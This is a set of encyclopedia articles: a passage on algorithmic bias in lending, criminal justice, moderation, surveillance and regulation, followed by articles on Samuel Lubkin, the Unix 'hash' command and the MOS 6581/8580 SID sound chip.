A study conducted by researchers at UC Berkeley in November 2019 revealed that mortgage algorithms have been discriminatory towards Latino and African Americans which discriminated against minorities based on "creditworthiness" which is rooted in the U.S. fair-lending law which allows lenders to use measures of identification to determine if an individual is worthy of receiving loans. These particular algorithms were present in FinTech companies and were shown to discriminate against minorities.
Law enforcement and legal proceedings
Algorithms already have numerous applications in legal systems. An example of this is COMPAS, a commercial program widely used by U.S. courts to assess the likelihood of a defendant becoming a recidivist. ProPublica claims that the average COMPAS-assigned recidivism risk level of black defendants is significantly higher than the average COMPAS-assigned risk level of white defendants, and that black defendants are twice as likely to be erroneously assigned the label "high-risk" as white defendants.
One example is the use of risk assessments in criminal sentencing in the United States and parole hearings, judges were presented with an algorithmically generated score intended to reflect the risk that a prisoner will repeat a crime. For the time period starting in 1920 and ending in 1970, the nationality of a criminal's father was a consideration in those risk assessment scores. Today, these scores are shared with judges in Arizona, Colorado, Delaware, Kentucky, Louisiana, Oklahoma, Virginia, Washington, and Wisconsin. An independent investigation by ProPublica found that the scores were inaccurate 80% of the time, and disproportionately skewed to suggest blacks to be at risk of relapse, 77% more often than whites.
One study that set out to examine "Risk, Race, & Recidivism: Predictive Bias and Disparate Impact" alleges a two-fold (45 percent vs. 23 percent) adverse likelihood for black vs. Caucasian defendants to be misclassified as imposing a higher risk despite having objectively remained without any documented recidivism over a two-year period of observation.
Online hate speech
In 2017 a Facebook algorithm designed to remove online hate speech was found to advantage white men over black children when assessing objectionable content, according to internal Facebook documents. The algorithm, which is a combination of computer programs and human content reviewers, was created to protect broad categories rather than specific subsets of categories. For example, posts denouncing "Muslims" would be blocked, while posts denouncing "Radical Muslims" would be allowed. An unanticipated outcome of the algorithm is to allow hate speech against black children, because they denounce the "children" subset of blacks, rather than "all blacks", whereas "all white men" would trigger a block, because whites and males are not considered subsets. Facebook was also found to allow ad purchasers to target "Jew haters" as a category of users, which the company said was an inadvertent outcome of algorithms used in assessing and categorizing data. The company's design also allowed ad buyers to block African-Americans from seeing housing ads.
While algorithms are used to track and block hate speech, some were found to be 1.5 times more likely to flag information posted by Black users and 2.2 times likely to flag information as hate speech if written in Ebonics. Without context for slurs and epithets, even when used by communities which have re-appropriated them, were flagged.
Surveillance
Surveillance camera software may be considered inherently political because it requires algorithms to distinguish normal from abnormal behaviors, and to determine who belongs in certain locations at certain times. The ability of such algorithms to recognize faces across a racial spectrum has been shown to be limited by the racial diversity of images in its training database; if the majority of photos belong to one race or gender, the software is better at recognizing other members of that race or gender. However, even audits of these image-recognition systems are ethically fraught, and some scholars have suggested the technology's context will always have a disproportionate impact on communities whose actions are over-surveilled. For example, a 2002 analysis of software used to identify individuals in CCTV images found several examples of bias when run against criminal databases. The software was assessed as identifying men more frequently than women, older people more frequently than the young, and identified Asians, African-Americans and other races more often than whites. Additional studies of facial recognition software have found the opposite to be true when trained on non-criminal databases, with the software being the least accurate in identifying darker-skinned females.
Sexual discrimination
In 2011, users of the gay hookup application Grindr reported that the Android store's recommendation algorithm was linking Grindr to applications designed to find sex offenders, which critics said inaccurately related homosexuality with pedophilia. Writer Mike Ananny criticized this association in The Atlantic, arguing that such associations further stigmatized gay men. In 2009, online retailer Amazon de-listed 57,000 books after an algorithmic change expanded its "adult content" blacklist to include any book addressing sexuality or gay themes, such as the critically acclaimed novel Brokeback Mountain.
In 2019, it was found that on Facebook, searches for "photos of my female friends" yielded suggestions such as "in bikinis" or "at the beach". In contrast, searches for "photos of my male friends" yielded no results.
Facial recognition technology has been seen to cause problems for transgender individuals. In 2018, there were reports of uber drivers who were transgender or transitioning experiencing difficulty with the facial recognition software that Uber implements as a built-in security measure. As a result of this, some of the accounts of trans uber drivers were suspended which cost them fares and potentially cost them a job, all due to the facial recognition software experiencing difficulties with recognizing the face of a trans driver who was transitioning. Although the solution to this issue would appear to be including trans individuals in training sets for machine learning models, an instance of trans YouTube videos that were collected to be used in training data did not receive consent from the trans individuals that were included in the videos, which created an issue of violation of privacy.
There has also been a study that was conducted at Stanford University in 2017 that tested algorithms in a machine learning system that was said to be able to detect an individuals sexual orientation based on their facial images. The model in the study predicted a correct distinction between gay and straight men 81% of the time, and a correct distinction between gay and straight women 74% of the time. This study resulted in a backlash from the LGBTQIA community, who were fearful of the possible negative repercussions that this AI system could have on individuals of the LGBTQIA community by putting individuals at risk of being "outed" against their will.
Google Search
While users generate results that are "completed" automatically, Google has failed to remove sexist and racist autocompletion text. For example, Algorithms of Oppression: How Search Engines Reinforce Racism Safiya Noble notes an example of the search for "black girls", which was reported to result in pornographic images. Google claimed it was unable to erase those pages unless they were considered unlawful.
Obstacles to research
Several problems impede the study of large-scale algorithmic bias, hindering the application of academically rigorous studies and public understanding.
Defining fairness
Literature on algorithmic bias has focused on the remedy of fairness, but definitions of fairness are often incompatible with each other and the realities of machine learning optimization. For example, defining fairness as an "equality of outcomes" may simply refer to a system producing the same result for all people, while fairness defined as "equality of treatment" might explicitly consider differences between individuals. As a result, fairness is sometimes described as being in conflict with the accuracy of a model, suggesting innate tensions between the priorities of social welfare and the priorities of the vendors designing these systems. In response to this tension, researchers have suggested more care to the design and use of systems that draw on potentially biased algorithms, with "fairness" defined for specific applications and contexts.
Complexity
Algorithmic processes are complex, often exceeding the understanding of the people who use them. Large-scale operations may not be understood even by those involved in creating them. The methods and processes of contemporary programs are often obscured by the inability to know every permutation of a code's input or output. Social scientist Bruno Latour has identified this process as blackboxing, a process in which "scientific and technical work is made invisible by its own success. When a machine runs efficiently, when a matter of fact is settled, one need focus only on its inputs and outputs and not on its internal complexity. Thus, paradoxically, the more science and technology succeed, the more opaque and obscure they become." Others have critiqued the black box metaphor, suggesting that current algorithms are not one black box, but a network of interconnected ones.
An example of this complexity can be found in the range of inputs into customizing feedback. The social media site Facebook factored in at least 100,000 data points to determine the layout of a user's social media feed in 2013. Furthermore, large teams of programmers may operate in relative isolation from one another, and be unaware of the cumulative effects of small decisions within connected, elaborate algorithms. Not all code is original, and may be borrowed from other libraries, creating a complicated set of relationships between data processing and data input systems.
Additional complexity occurs through machine learning and the personalization of algorithms based on user interactions such as clicks, time spent on site, and other metrics. These personal adjustments can confuse general attempts to understand algorithms. One unidentified streaming radio service reported that it used five unique music-selection algorithms it selected for its users, based on their behavior. This creates different experiences of the same streaming services between different users, making it harder to understand what these algorithms do.
Companies also run frequent A/B tests to fine-tune algorithms based on user response. For example, the search engine Bing can run up to ten million subtle variations of its service per day, creating different experiences of the service between each use and/or user.
Lack of transparency
Commercial algorithms are proprietary, and may be treated as trade secrets. Treating algorithms as trade secrets protects companies, such as search engines, where a transparent algorithm might reveal tactics to manipulate search rankings. This makes it difficult for researchers to conduct interviews or analysis to discover how algorithms function. Critics suggest that such secrecy can also obscure possible unethical methods used in producing or processing algorithmic output. Other critics, such as lawyer and activist Katarzyna Szymielewicz, have suggested that the lack of transparency is often disguised as a result of algorithmic complexity, shielding companies from disclosing or investigating its own algorithmic processes.
Lack of data about sensitive categories
A significant barrier to understanding the tackling of bias in practice is that categories, such as demographics of individuals protected by anti-discrimination law, are often not explicitly considered when collecting and processing data. In some cases, there is little opportunity to collect this data explicitly, such as in device fingerprinting, ubiquitous computing and the Internet of Things. In other cases, the data controller may not wish to collect such data for reputational reasons, or because it represents a heightened liability and security risk. It may also be the case that, at least in relation to the European Union's General Data Protection Regulation, such data falls under the 'special category' provisions (Article 9), and therefore comes with more restrictions on potential collection and processing.
Some practitioners have tried to estimate and impute these missing sensitive categorisations in order to allow bias mitigation, for example building systems to infer ethnicity from names, however this can introduce other forms of bias if not undertaken with care. Machine learning researchers have drawn upon cryptographic privacy-enhancing technologies such as secure multi-party computation to propose methods whereby algorithmic bias can be assessed or mitigated without these data ever being available to modellers in cleartext.
Algorithmic bias does not only include protected categories, but can also concerns characteristics less easily observable or codifiable, such as political viewpoints. In these cases, there is rarely an easily accessible or non-controversial ground truth, and removing the bias from such a system is more difficult. Furthermore, false and accidental correlations can emerge from a lack of understanding of protected categories, for example, insurance rates based on historical data of car accidents which may overlap, strictly by coincidence, with residential clusters of ethnic minorities.
Solutions
A study of 84 policy guidelines on ethical AI found that fairness and "mitigation of unwanted bias" was a common point of concern, and were addressed through a blend of technical solutions, transparency and monitoring, right to remedy and increased oversight, and diversity and inclusion efforts.
Technical
There have been several attempts to create methods and tools that can detect and observe biases within an algorithm. These emergent fields focus on tools which are typically applied to the (training) data used by the program rather than the algorithm's internal processes. These methods may also analyze a program's output and its usefulness and therefore may involve the analysis of its confusion matrix (or table of confusion). Explainable AI to detect algorithm Bias is a suggested way to detect the existence of bias in an algorithm or learning model. Using machine learning to detect bias is called, "conducting an AI audit", where the "auditor" is an algorithm that goes through the AI model and the training data to identify biases.
Ensuring that an AI tool such as a classifier is free from bias is more difficult than just removing the sensitive information
from its input signals, because this is typically implicit in other signals. For example the hobbies, sports and schools attended
by a job candidate might reveal their gender to the software, even when this is removed from the analysis. Solutions to this
problem involve ensuring that the intelligent agent does not have any information that could be used to reconstruct the protected
and sensitive information about the subject, as first demonstrated in where a deep learning network was simultaneously trained to learn a task while at the same time being completely agnostic about the protected feature. A simpler method was proposed in the context of word embeddings, and involves removing information that is correlated with the protected characteristic.
Currently, a new IEEE standard is being drafted that aims to specify methodologies which help creators of algorithms eliminate issues of bias and articulate transparency (i.e. to authorities or end users) about the function and possible effects of their algorithms. The project was approved February 2017 and is sponsored by the Software & Systems Engineering Standards Committee, a committee chartered by the IEEE Computer Society. A draft of the standard is expected to be submitted for balloting in June 2019.
Transparency and monitoring
Ethics guidelines on AI point to the need for accountability, recommending that steps be taken to improve the interpretability of results. Such solutions include the consideration of the "right to understanding" in machine learning algorithms, and to resist deployment of machine learning in situations where the decisions could not be explained or reviewed. Toward this end, a movement for "Explainable AI" is already underway within organizations such as DARPA, for reasons that go beyond the remedy of bias. Price Waterhouse Coopers, for example, also suggests that monitoring output means designing systems in such a way as to ensure that solitary components of the system can be isolated and shut down if they skew results.
An initial approach towards transparency included the open-sourcing of algorithms. Software code can be looked into and improvements can be proposed through source-code-hosting facilities. However, this approach doesn't necessarily produce the intended effects. Companies and organizations can share all possible documentation and code, but this does not establish transparency if the audience doesn't understand the information given. Therefore, the role of an interested critical audience is worth exploring in relation to transparency. Algorithms cannot be held accountable without a critical audience.
Right to remedy
From a regulatory perspective, the Toronto Declaration calls for applying a human rights framework to harms caused by algorithmic bias. This includes legislating expectations of due diligence on behalf of designers of these algorithms, and creating accountability when private actors fail to protect the public interest, noting that such rights may be obscured by the complexity of determining responsibility within a web of complex, intertwining processes. Others propose the need for clear liability insurance mechanisms.
Diversity and inclusion
Amid concerns that the design of AI systems is primarily the domain of white, male engineers, a number of scholars have suggested that algorithmic bias may be minimized by expanding inclusion in the ranks of those designing AI systems. For example, just 12% of machine learning engineers are women, with black AI leaders pointing to a "diversity crisis" in the field. Groups like Black in AI and Queer in AI are attempting to create more inclusive spaces in the AI community and work against the often harmful desires of corporations that control the trajectory of AI research. Critiques of simple inclusivity efforts suggest that diversity programs can not address overlapping forms of inequality, and have called for applying a more deliberate lens of intersectionality to the design of algorithms. Researchers at the University of Cambridge have argued that addressing racial diversity is hampered by the "whiteness" of the culture of AI.
Regulation
Europe
The General Data Protection Regulation (GDPR), the European Union's revised data protection regime that was implemented in 2018, addresses "Automated individual decision-making, including profiling" in Article 22. These rules prohibit "solely" automated decisions which have a "significant" or "legal" effect on an individual, unless they are explicitly authorised by consent, contract, or member state law. Where they are permitted, there must be safeguards in place, such as a right to a human-in-the-loop, and a non-binding right to an explanation of decisions reached. While these regulations are commonly considered to be new, nearly identical provisions have existed across Europe since 1995, in Article 15 of the Data Protection Directive. The original automated decision rules and safeguards found in French law since the late 1970s.
The GDPR addresses algorithmic bias in profiling systems, as well as the statistical approaches possible to clean it, directly in recital 71, noting thatthe controller should use appropriate mathematical or statistical procedures for the profiling, implement technical and organisational measures appropriate ... that prevents, inter alia, discriminatory effects on natural persons on the basis of racial or ethnic origin, political opinion, religion or beliefs, trade union membership, genetic or health status or sexual orientation, or that result in measures having such an effect.Like the non-binding right to an explanation in recital 71, the problem is the non-binding nature of recitals. While it has been treated as a requirement by the Article 29 Working Party that advised on the implementation of data protection law, its practical dimensions are unclear. It has been argued that the Data Protection Impact Assessments for high risk data profiling (alongside other pre-emptive measures within data protection) may be a better way to tackle issues of algorithmic discrimination, as it restricts the actions of those deploying algorithms, rather than requiring consumers to file complaints or request changes.
United States
The United States has no general legislation controlling algorithmic bias, approaching the problem through various state and federal laws that might vary by industry, sector, and by how an algorithm is used. Many policies are self-enforced or controlled by the Federal Trade Commission. In 2016, the Obama administration released the National Artificial Intelligence Research and Development Strategic Plan, which was intended to guide policymakers toward a critical assessment of algorithms. It recommended researchers to "design these systems so that their actions and decision-making are transparent and easily interpretable by humans, and thus can be examined for any bias they may contain, rather than just learning and repeating these biases". Intended only as guidance, the report did not create any legal precedent.
In 2017, New York City passed the first algorithmic accountability bill in the United States. The bill, which went into effect on January 1, 2018, required "the creation of a task force that provides recommendations on how information on agency automated decision systems may be shared with the public, and how agencies may address instances where people are harmed by agency automated decision systems." The task force is required to present findings and recommendations for further regulatory action in 2019.
India
On July 31, 2018, a draft of the Personal Data Bill was presented. The draft proposes standards for the storage, processing and transmission of data. While it does not use the term algorithm, it makes for provisions for "harm resulting from any processing or any kind of processing undertaken by the fiduciary". It defines "any denial or withdrawal of a service, benefit or good resulting from an evaluative decision about the data principal" or "any discriminatory treatment" as a source of harm that could arise from improper use of data. It also makes special provisions for people of "Intersex status".
See also
Ethics of artificial intelligence
Further reading
Fairness (machine learning)
References
Machine learning
Information ethics
Computing and society
Philosophy of artificial intelligence
Discrimination
Bias
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68456712
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https://en.wikipedia.org/wiki/Samuel%20Lubkin
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Samuel Lubkin
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Samuel Lubkin (1906-1972) was a mathematician and computer scientist instrumental in the early history of computing.
Life
Lubkin studied mathematics at Cooper Union in New York City, and was president of the Cooper Union Mathematics Club in the 1923-1924 academic year. He received a PhD in applied mathematics from Courant Institute of Mathematical Sciences.
He later went on to work on the design of the ENIAC computer while at the Moore School of Electrical Engineering at the University of Pennsylvania.
Lubkin afterwards joined the US Army's Ballistic Research Laboratory to work with other ENIAC designers on the design of the EDVAC computer's programming system, It has been claimed that the "Operating Manual for the EDVAC", which was authored by Lubkin, was "the bible of the computer industry in the late 1940s and early 1950s".
After that he joined the design team who went on to build the first UNIVAC computer.
In the 1940s, Reeves Instrument Corporation hired Lubkin to lead a project designing their first digital computer. Reeves later decided to build analogue computers instead (which ultimately resulted in the Reeves Electronic Analog Computer series of machines), and Lubkin left the company for a job in the digital computer division of the National Bureau of Standards (the US government organization later renamed the National Institute of Standards and Technology).
The bureau essentially hired Lubkin to replicate his design for the EDVAC, and this would go on to become the bureau's SEAC computer.
Electronic Computer Corporation
Within a few months, Lubkin left the bureau, and started his own company with Murray Pfefferman, who had been part of the SEAC design team, with Lubkin as president. This was the Electronic Computer Corporation. The company was established in Brooklyn, New York, as that is where Lubkin's extended family lived. Even as a fledgling enterprise, the company was able to hire several very experienced engineers who had a pedigree in large corporations like the Eckert–Mauchly Computer Corporation (creator of the ENIAC), as prominent Jewish scientists and engineers were losing their security clearance (and consequently, their defense sector jobs) as a result of the House Un-American Activities Committee, which sometimes equated Jewish heritage with Communist sympathies. Other notable employees included Evelyn Berezin.
The main product of this company was a "low cost" (for the time) digital computer named the ELECOM 100. This was a vacuum tube computer with a drum memory. It was also the first computer in history that operated with magnetic tape data storage, which was a separate peripheral. While smaller than some other room-sized computers, the ELECOM 100 was still not small by modern standards. The machine measured 10 feet wide by 6 feet high by 2 feet deep, not including the desk the operator would need to sit at, plus space for other sundry peripherals. The ELECOM 100 was successfully tested for use at Ballistic Research Laboratory, though there is no evidence BRL ever actually purchased any. There was a unit known to be at the Stevens Institute of Technology in New Jersey, but is unknown who else the ELECOM's early users were, and how many were made. In 1955, it was reported that there were a total of three units in operation.
A subsequent model named the ELECOM 120 was developed. This was essentially the ELECOM 100 (which worked on an octal system) modified for decimal operation, and given expanded memory capacity. In 1955 it was reported that there were five ELECOM 120s in operation; users included Griffiss Air Force Base, Westinghouse Aviation Gas Turbine Division and Shell Development Laboratories (now called Shell Development Emeryville). An ELECOM 50 machine also existed, though this was a purpose-built accounting machine, and an ELECOM 125 was planned, though there is no evidence this ever went into production.
The ELECOM computers were reasonably successful in the market. In 1953, the Electronic Computer Corporation was acquired by the Underwood Typewriter Company, though Lubkin would stay on as Technical Director of their Electronic Computer Division. In interviews he spoke of pressure to produce cheaper and cheaper machines, and spoke of belief that the future of computing was in less-expensive, purpose-built machines for industry, and not in general purpose computing.
However the Electronic Computer Corporation suffered as a division within the financially ailing typewriter company. Underwood eventually realized it did not have the financial strength to produce the inventory needed to sell the (individually expensive) ELECOM machines, even those that it was already under contract to produce. There was an outstanding order for ELECOM machines from Standard Oil that the chairman of Underwood had to back out of. In 1957 Underwood would get out of the computer business entirely, closing its computer division, after which Lubkin left.
Later career
Lubkin would go on to work as a designer and consultant for computer projects with New York University, Curtiss-Wright, and Republic Aviation.
In 1962, he founded a company of his own called Digital Electronics Inc., and was named chairman of the board. The company set out to focus on "custom-designed data conversion equipment, educational training devices, and a proprietary line of pulse and digital test equipment." Lubkin would apply for and receive several patents for the company, though he and the company would wind up becoming embroiled in litigation with some of his cofounders.
Personal life
Samuel Lubkin had one son, Yale Jay Lubkin (husband to science journalist Gloria Lubkin), with whom he worked at Digital Electronics Inc. He died in 1972.
References
1906 births
1972 deaths
Scientists from Brooklyn
20th-century American mathematicians
Computer designers
Computer hardware engineers
University of Pennsylvania faculty
Cooper Union alumni
Jewish American scientists
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5729975
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https://en.wikipedia.org/wiki/Hash%20%28Unix%29
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Hash (Unix)
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hash is a command on Unix and Unix-like operating systems that prints the location information for the commands found. The command has also been ported to the IBM i operating system.
Syntax
$ hash [name]
Description
When the user gives a command, the shell searches for the command in the path specified in the PATH environmental variable and stores the location in the hash. This command can be used to search for the command given. The command is built into the shell. C shell implements this command in a different way.
Options
The following options are supported.
name Searches the PATH environmental variable for the name given
Exit Status
This command returns the following exit values:
0 Successful completion
1 An Error occurred
Examples
$ hash
Print the hash table.
$ hash cat
Searches for command cat in the path specified by PATH environmental variable; if found, adds it to the hash.
See also
find
Unix shell
References
External links
Unix SUS2008 utilities
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202115
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https://en.wikipedia.org/wiki/MOS%20Technology%206581
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MOS Technology 6581
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The MOS Technology 6581/8580 SID (Sound Interface Device) is the built-in programmable sound generator chip of Commodore's CBM-II, Commodore 64, Commodore 128 and Commodore MAX Machine home computers. It was one of the first sound chips of its kind to be included in a home computer prior to the digital sound revolution.
Together with the VIC-II graphics chip, the SID was instrumental in making the C64 the best-selling home computer in history, and is partly credited for initiating the demoscene.
Design process
The SID was devised by engineer Robert "Bob" Yannes, who later co-founded the Ensoniq digital synthesizer and sampler company. Yannes headed a team that included himself, two technicians and a CAD operator, who designed and completed the chip in five months in the latter half of 1981. Yannes was inspired by previous work in the synthesizer industry and was not impressed by the current state of computer sound chips. Instead, he wanted a high-quality instrument chip, which is the reason why the SID has features like the envelope generator, previously not found in home computer sound chips.
Emphasis during chip design was on high-precision frequency control, and the SID was originally designed to have 32 independent voices, sharing a common wavetable lookup scheme that would be time multiplexed. However, these features could not be finished in time, so instead the mask work for a certain working oscillator was simply replicated three times across the chip's surface, creating three voices each with its own oscillator. Another feature that was not incorporated in the final design was a frequency look-up table for the most common musical notes, a feature that was dropped because of space limitations. The support for an audio input pin was a feature Yannes added without asking, which in theory would have allowed the chip to be used as a simple effect processor. The masks were produced in 7-micrometer technology to gain a high yield; the state of the art at the time was 6-micrometer technologies.
The chip, like the first product using it (the Commodore 64), was finished in time for the Consumer Electronics Show in the first weekend of January 1982. Even though Yannes was partly displeased with the result, his colleague Charles Winterble said: "This thing is already 10 times better than anything out there and 20 times better than it needs to be."
The specifications for the chip were not used as a blueprint. Rather, they were written as the development work progressed, and not all planned features made it into the final product. Yannes claims he had a feature-list of which three quarters made it into the final design. The later revision (8580) was revised to more closely match the specifications. For example, the 8580 slightly improved upon the ability to perform a binary AND between two waveforms, which the SID can only do in an odd and illogical manner that results in messy, and in some cases nearly silent, waveforms. Wave combinations on the 8580 result in cleaner waveforms than on the 6581, although irregularities are still present. Another feature that differs between the two revisions is the filter, as the 6581 version is far away from the specification.
Manufacturing, remarking, and forgery
Since 6581 and 8580 SID ICs are no longer produced, they have become highly sought after. In late 2007, various defective chips started appearing on eBay as supposedly "new". All of these remarked SIDs have a defective filter, but some also have defective channels/noise generators, and some are completely dead. The remarked chips are assumed to either be factory rejects from back when the chip was still produced, or possibly "reject pulls" from one of the chip pulling operations that were used to supply the chips used in the HardSID cards. Fake SID chips have also been supplied to unwitting buyers from unscrupulous manufacturers in China; the supplied chips are laser-etched with completely bogus markings, and the chip inside the package is not a SID at all.
Features
three separately programmable independent audio oscillators (8 octave range, approximately 16 - 4000 Hz)
four different waveforms per audio oscillator (sawtooth, triangle, pulse, noise)
one multi mode filter featuring low-pass, high-pass and band-pass outputs with 6 dB/oct (bandpass) or 12 dB/octave (lowpass/highpass) rolloff. The different filter modes are sometimes combined to produce additional timbres, for instance a notch-reject filter.
three attack/decay/sustain/release (ADSR) volume controls, one for each audio oscillator.
three ring modulators.
oscillator sync for each audio oscillator.
two 8-bit analog-to-digital converters (typically used for game control paddles, but later also used for a mouse)
external audio input (for sound mixing with external signal sources)
random number/modulation generator
Technical details
The SID is a mixed-signal integrated circuit, featuring both digital and analog circuitry. All control ports are digital, while the output ports are analog. The SID features three-voice synthesis, where each voice may use one of at least five different waveforms: pulse wave (with variable duty cycle), triangle wave, sawtooth wave, pseudorandom noise (called white noise in documentation), and certain complex/combined waveforms when multiple waveforms are selected simultaneously. The oscillators of each voice are built off of a 24-bit phase accumulator. A voice playing a triangle waveform may be ring-modulated with one of the other voices, where the triangle waveform's bits are inverted when the MSB of the modulating voice's accumulator is set, producing a discontinuity and inversion of direction with the triangle's ramp. Voices may also be hard-synced to each other, where the synced voice's oscillator is reset whenever the MSB of the syncing voice's accumulator is increased. If both ring modulation and hard-sync are set to affect the same voice, the two effects are combined. The voice that ring modulates and/or syncs a given affected voice is determined by the following pattern: voice 1 affects voice 2, voice 2 affects voice 3, and voice 3 affects voice 1.
Each voice may be routed into a common, digitally controlled analog multimode filter, which is constructed with aid of external capacitors to the chip. The filter has lowpass, bandpass and highpass outputs, which can be individually selected for final output amplification via the master volume register. Filter modes can also be combined together. For example, using a combined state of lowpass and highpass results in a notch (or inverted bandpass) output.
The programmer may vary the filter's cutoff frequency and resonance. An external audio-in port enables external audio to be passed through the filter.
The ring modulation, filter, and programming techniques such as arpeggio (rapid cycling between frequencies to make chord-like sounds) together produce the characteristic feel and sound of SID music.
Due to imperfect manufacturing technologies of the time and poor separation between the analog and digital parts of the chip, the 6581's output (before the amplifier stage) was always slightly biased from the zero level. Each time the volume register was altered, an audible click was produced. By quickly adjusting the amplifier's gain through the main 4-bit volume register, this bias could be modulated as PCM, resulting in a "virtual" fourth channel allowing 4-bit digital sample playback. The glitch was known and used from an early point on, first by Electronic Speech Systems to produce sampled speech in games such as Impossible Mission (1983, Epyx) and Ghostbusters (1984, Activision). The first instance of samples being used in actual musical compositions was by Martin Galway in Arkanoid (1987, Imagine), although he had copied the idea from an earlier drum synthesizer package called Digidrums. The length of sampled sound playback was limited first by memory and later technique. Kung Fu Fighting (1986), a popular early sample, has a playback length measured in seconds. c64mp3 (2010) and Cubase64 (2010) demonstrate playback lengths measured in minutes. Also, it was hugely CPU intensive - one had to output the samples very fast (in comparison to the speed of the 6510 CPU).
The better manufacturing technology in the 8580 used in the later revisions of Commodore 64C and the Commodore 128 DCR caused the bias to almost entirely disappear, causing the digitized sound samples to become very quiet. Fortunately, the volume level could be mostly restored with either a hardware modification (biasing the audio-in pin), or more commonly a software trick involving using the Pulse waveform to intentionally recreate the required bias. The software trick generally renders one voice temporarily unusable, although clever musical compositions can make this problem less noticeable. An excellent example of this quality improvement noticeably reducing a sampled channel can be found in the introduction to Electronic Arts' game Skate or Die (1987). The guitar riff played is all but missing when played on the Commodore 64c or the Commodore 128.
At the X'2008 demo party, a completely new method of playing digitized samples was unveiled. The method allows for an unprecedented four (software-mixed) channels of 8-bit samples with optional filtering on top of all samples, as well as two ordinary SID sound channels. The method works by resetting the oscillator using the waveform generator test bit, quickly ramping up the new waveform with the Triangle waveform selected, and then disabling all waveforms, resulting in the DAC continuing to output the last value---which is the desired sample. This continues for as long as two scanlines, which is ample time for glitch-free, arbitrary sample output. It is however more CPU-intensive than the 4-bit volume register DAC trick described above. Because the filtering in a SID chip is applied after the waveform generators, samples produced this way can be filtered normally.
The original manual for the SID mentions that if several waveforms are enabled at the same time, the result will be a binary AND between them. What happens in reality is that the input to the waveform DAC pins receives several waveforms at once. For instance, the Triangle waveform is made with a separate XOR circuit and a shift-to-left circuit. The top bit drives whether the XOR circuit inverts the accumulator value seen by the DAC. Thus, enabling triangle and sawtooth simultaneously causes adjacent accumulator bits in the DAC input to mix. (The XOR circuit does not come to play because it is always disabled whenever the sawtooth waveform is selected.) The pulse waveform is built by joining all the DAC bits together via a long strip of polysilicon, connected to the pulse control logic that digitally compares current accumulator value to the pulse width value. Thus, selecting the pulse waveform together with any other waveform causes every bit on the DAC to partially mix, and the loudness of the waveform is affected by the state of the pulse.
The noise generator is implemented as a 23-bit-length Fibonacci LFSR (Feedback polynomial: x^22+x^17+1). When using noise waveform simultaneously with any other waveform, the pull-down via waveform selector tends to quickly reduce the XOR shift register to 0 for all bits that are connected to the output DAC. As the zeroes shift in the register when the noise is clocked, and no 1-bits are produced to replace them, a situation can arise where the XOR shift register becomes fully zeroed. Luckily, the situation can be remedied by using the waveform control test bit, which in that condition injects one 1-bit into the XOR shift register. Some musicians are also known to use noise's combined waveforms and test bit to construct unusual sounds.
The 6581 and 8580 differ from each other in several ways. The original 6581 was manufactured using the older NMOS process, which used 12V DC to operate. The 6581 is very sensitive to static discharge and if they weren't handled properly the filters would stop working, explaining the reason of the great quantity of dead 6581s in the market. The 8580 was made using the HMOS-II process, which requires less power (9V DC), and therefore makes the IC run cooler. The 8580 is thus far more durable than the 6581. Also, due to more stable waveform generators, the bit-mixing effects are less noticeable and thus the combined waveforms come close to matching the original SID specification (which stated that they will be combined as a binary AND). The filter is also very different between the two models, with the 6581 cutoff range being a relatively straight line on a log scale, while the cutoff range on the 8580 is a straight line on a linear scale, and is close to the designers' actual specifications. Additionally, a better separation between the analog and the digital circuits made the 8580's output less noisy and distorted. The noise in 6xxx-series systems can be reduced by disconnecting the audio-in pin.
The consumer version of the 8580 was rebadged the 6582, even though the die on the chip is identical to a stock 8580 chip, including the '8580R5' mark. Dr. Evil Laboratories used it in their SID Symphony expansion cartridge (sold to Creative Micro Designs in 1991), and it was used in a few other places as well, including one PC sound-card.
Despite its documented shortcomings, many SID musicians prefer the flawed 6581 chip over the corrected 8580 chip, some even seeing the flaws as actual 'features' that made the SID chip distinct from other sound chips at the time. The main reason for this is that the filter produces strong distortion that is sometimes used to produce simulation of instruments such as a distorted electric guitar. Also, the highpass component of the filter was mixed in 3 dB attenuated compared to the other outputs, making the sound more bassy. In addition to nonlinearities in filter, the D/A circuitry used in the waveform generators produces yet more additional distortion that made its sound richer in character.
Revisions
No instances reading "6581 R1" ever reached the market. In fact, Yannes has stated that "[the] SID chip came out pretty well the first time, it made sound. Everything we needed for the show was working after the second pass." High-resolution photos of Charles Winterble's prototype C64 show the markings "MOS 6581 2082", the last number being a date code indicating that his prototype SID chip was produced during the 20th week of 1982, which would be within 6 days of May 17, 1982.
These are the known revisions of the various SID chips: (date codes are in WWYY w=week y=year format)
6581 R1 - Prototype, only appeared on the CES machines and development prototypes, has a date code of 4981 to 0882 or so. Has the full 12 bit filter cutoff range. An unknown number were produced, probably between 50 and 100 chips. All are ceramic packages.
6581 R2 - Will say "6581" only on the package. Filter cutoff range was reduced to 11 bits and the LSB bit disconnected/forced permanently on, but is still on the die. The filter is leaky at some ranges and they tend to run hotter than other sid revisions. Made from 1982 until at least 1983. First 10 weeks or so of chips have ceramic packages (these usually appear on engineering prototypes but a few are on sold machines), the rest have plastic packages.
6581 R3 - Will say "6581" only, "6581 R3" or "6581 CBM" on the package. Had a minor change to the protection/buffering of the input pins. No changes were made to the filter section. Made from before 1983 until 1986 or so. The 6581R3 since around the week 47 of 1985 made in the Philippines use the HMOS HC-30 degree silicon though the manufacturing process remained NMOS.
6581 R4 - Will say "6581 R4" on the package. Silicon grade changed to HMOS-II "HC-30" grade, though the manufacturing process for the chip remained NMOS. Produced from 1985 until at least 1990.
6581 R4 AR - Will say "6581 R4 AR" on the package. Minor adjustment to the silicon grade, no die change from R4. Produced from around 1986 (week 22) until at least the year 1992.
6582 - Will say "6582" on the package. Typically produced around the year 1986 in Hong Kong.
6582 A - Will say "6582A" (or "6582 A") on the package. Typically produced around the years 1989, 1990 and 1992 in the Philippines.
8580 R5 - Will say "8580R5" on the package. Produced from the years 1986 to 1993 in the Philippines, Hong Kong and in the US.
Some of these chips are marked "CSG" ("Commodore Semiconductor Group") and the Commodore Logo, while others are marked with "MOS". This includes chips produced during the same week (and thus, receiving the same date code), indicating that at least two different factory lines were in operation during that week. The markings of chips varied by factory and even by line within a factory throughout most of the manufacturing run of the chip.
Game audio
The majority of games produced for the Commodore 64 made use of the SID chip, with sounds ranging from simple clicks and beeps to complex musical extravaganzas or even entire digital audio tracks. Due to the technical mastery required to implement music on the chip, and its versatile features compared to other sound chips of the era, composers for the Commodore 64 have described the SID as a musical instrument in its own right. Most software did not use the full capabilities of SID, however, because the incorrect published specifications caused programmers to only use well-documented functionality. Some early software, by contrast, relied on the specifications, resulting in inaudible sound effects.
